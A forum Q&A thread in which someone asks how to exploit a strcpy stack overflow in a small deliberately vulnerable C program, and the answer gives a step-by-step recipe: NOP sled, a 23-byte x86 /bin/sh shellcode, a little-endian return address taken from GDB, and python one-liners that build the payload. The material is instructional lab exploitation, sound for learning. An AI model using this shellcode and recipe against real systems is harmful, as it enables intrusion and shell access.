Strcpy BufferOverflow get shellcode location for EIP

Question

I am trying to get a shellcode, exploiting a C program with a strcpy() function.

I have found out that I need 68 bytes to start writing on the EIP. So, if I write 72's by EIP register is 0x41414141.

What I want is to insert a 23 bytes shellcode for a x86 OS. So I know that I need this:

• 68 A bytes - 23 shellcode bytes: 45 NOPs.
• 23 bytes Shellcode.
• 4 bytes for the EIP register, pointing the start of the shellcode.

I don't know how to carry this out. This is my program:

#include <stdio.h>
#include <string.h>

void cambiarEIP() {
    printf("\n Has cambiado el valor del EIP, enhorabuena\n");
}

int main(int argc, char * argv[]) {
    char buf[64];

    if(argc == 1) {
        printf("Uso: %s entrada\n", argv[0]);
        return -1;
    }

    strcpy(buf,argv[1]);
    printf("%s\n", buf);

    return 0;
}

I want to insert this as a parameter: 45As+shellcode+EIP DIR.

This is what I get with the GDB when passing 71 bytes as a parameter:

 Program received signal SIGSEGV, Segmentation fault.
 0x00414141 in ?? ()

And those are my registers:

(gdb) i r
eax            0x0  0
ecx            0xb7fbc4e0   -1208236832
edx            0xb7fbd360   -1208233120
ebx            0xb7fbbff4   -1208238092
esp            0xbffff4a0   0xbffff4a0
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x0  0
eip            0x414141 0x414141
eflags         0x10246  [ PF ZF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

I know that I need something like this:

./shell \x41\*45 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
          "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + Shellcode location

How to carry this out?

Answer 1

68 A bytes - 23 shellcode bytes: 45 NOPs.

NOP is the mnemonic that stands for No OPeration which is the byte \x90, meaning that you'll have to change the A's (\x41) for NOPs (\x90), because \x41 by itself it's not a valid ASM instruction in the x86 processor hence making your program crash.

Taking this into account, first part goes like:

python -c 'print "\x90"*45' > payload.bin

23 bytes Shellcode

This is self explanatory, just add your shellcode:

python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' >> payload.bin

4 bytes for the EIP register, pointing the start of the shellcode.

Here's the tricky part:

First ask yourself a few questions:

1. Does the system have ASLR enabled?
2. Does it have DEP enabled?
3. NX?

Read this if the answer is that you don't know

And if the answer to both of these is no then, continue to check into gdb the following

1. Set a breakpoint at program's entry point in gdb
2. Step in gdb until you get to the call to strcpy (id est, when the overflow happens)
3. Get the location of your buf variable in stack. We can do so by writing the next command in gdb since the Stack Pointer is pointing right at the beginning of buf
   • x/32xb $esp

Now that you have the location of your buf variable, which should be something in the form 0xbffff5f0. Now get that memory position and add it to the end of your payload. You need this position in order to jump to the location of your buf variable and execute the shellcode in it...

But hold on!

You still have to take endianness into account, which in your system is little endian.

So you'll need to write that memory position in little endian which, if you are lazy like me, you'll end up writing a script that makes it for you:

python pyndianizer.py 0xbffff5f0 ==> \xf0\xf5\xff\xbf

Now, add it to your payload python -c 'print "\xf0\xf5\xff\xbf"' >> payload.bin

And for the grand finale:

cat payload.bin | ./shell

If everything was done well, just press a few enters and you'll have your shell.

Final note

Your shellcode runs /bin/sh but just running it doesn't work sometimes because the program ends just after running your shellcode. If so, you'll have to make it wait for user input after cating the shellcode in